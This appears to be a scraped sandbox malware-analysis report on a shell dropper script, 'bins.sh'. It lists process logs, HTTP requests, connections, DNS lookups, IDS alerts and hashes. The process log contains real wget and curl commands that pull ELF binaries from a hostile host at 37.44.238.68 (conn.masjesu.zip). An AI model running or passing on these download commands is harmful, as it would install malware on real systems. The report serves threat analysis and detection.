38751	wget http://37.44.238.68/bins/j0QJ68qzA4re7DnF7a5J2GEFd5qUa53I41	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38752	/snap/curl/1754/bin/curl -O http://37.44.238.68/bins/j0QJ68qzA4re7DnF7a5J2GEFd5qUa53I41	/snap/curl/1754/bin/curl		bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
38751	wget	/home/user/j0QJ68qzA4re7DnF7a5J2GEFd5qUa53I41		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

109

TCP/UDP connections

12 648

DNS requests

Threats

158

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	91.189.91.98:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38792	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/j0QJ68qzA4re7DnF7a5J2GEFd5qUa53I41	unknown	—	—	unknown
38751	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/j0QJ68qzA4re7DnF7a5J2GEFd5qUa53I41	unknown	—	—	unknown
38752	curl	GET	200	37.44.238.68:80	http://37.44.238.68/bins/j0QJ68qzA4re7DnF7a5J2GEFd5qUa53I41	unknown	—	—	unknown
38824	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/QoGM0JGaVGX3pWNbRc8J2pl0lXuYNBh4k3	unknown	—	—	unknown
38797	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/QoGM0JGaVGX3pWNbRc8J2pl0lXuYNBh4k3	unknown	—	—	unknown
—	—	GET	200	37.44.238.68:80	http://37.44.238.68/bins/QoGM0JGaVGX3pWNbRc8J2pl0lXuYNBh4k3	unknown	—	—	unknown
38861	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/LCAEOf26y8uH5ua3rbvMDly16XLccvvsps	unknown	—	—	unknown
38831	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/LCAEOf26y8uH5ua3rbvMDly16XLccvvsps	unknown	—	—	unknown
38866	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.49:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	91.189.91.98:80	connectivity-check.ubuntu.com	Canonical Group Limited	US	whitelisted
1178	snap-store	169.150.255.181:443	odrs.gnome.org	—	GB	whitelisted
38751	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
512	snapd	185.125.188.59:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38752	curl	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38792	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38797	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown

DNS requests

Domain	IP	Reputation
connectivity-check.ubuntu.com	2001:67c:1562::24 2620:2d:4000:1::97 2620:2d:4000:1::96 2620:2d:4000:1::22 2001:67c:1562::23 2620:2d:4000:1::2a 2620:2d:4002:1::196 2620:2d:4000:1::98 2620:2d:4000:1::23 2620:2d:4002:1::198 2620:2d:4000:1::2b 2620:2d:4002:1::197 91.189.91.98 185.125.190.17 91.189.91.49 185.125.190.96 185.125.190.97 91.189.91.48 185.125.190.48 91.189.91.97 185.125.190.98 185.125.190.18 185.125.190.49 91.189.91.96	whitelisted
google.com	142.250.186.110 2a00:1450:4001:829::200e	whitelisted
odrs.gnome.org	169.150.255.181 37.19.194.80 195.181.175.40 207.211.211.26 169.150.255.183 195.181.170.19 212.102.56.179 2a02:6ea0:c700::18 2a02:6ea0:c700::21 2a02:6ea0:c700::11 2a02:6ea0:c700::112 2a02:6ea0:c700::19 2a02:6ea0:c700::107 2a02:6ea0:c700::101	whitelisted
api.snapcraft.io	185.125.188.59 185.125.188.55 185.125.188.54 185.125.188.58 2620:2d:4000:1010::6d 2620:2d:4000:1010::42 2620:2d:4000:1010::2e6 2620:2d:4000:1010::117	whitelisted
conn.masjesu.zip	37.44.238.68 1.1.1.1	unknown
145.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
38751	wget	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
38751	wget	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38752	curl	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
38752	curl	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38797	wget	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38831	wget	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP

1 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

bins.sh

00EA8AB56AE0618EAC71FB0A7564F353

C4FA5A7E2F7190352BAE1E3A5C31FB9100452C82

C611D4A177A305017C6465EFB671671AC948918DB9B852E07B2220F59D5E1F63

192:sZ1wlFtg6qr6DJJIhZBBt1vJvVvov9vlvT2Z1wlF06qtUJJIh9DvJvVvov9vlv/:sZ1wlFtg6qr6MBTW2Z1wlF06qty

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Potential Corporate Privacy Violation

Executes the "rm" command to delete files or directories

Executes commands using command-line interpreter

Modifies file or directory owner

Reads /proc/mounts (likely used to find writable filesystems)

Uses wget to download content

Connects to unusual port

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings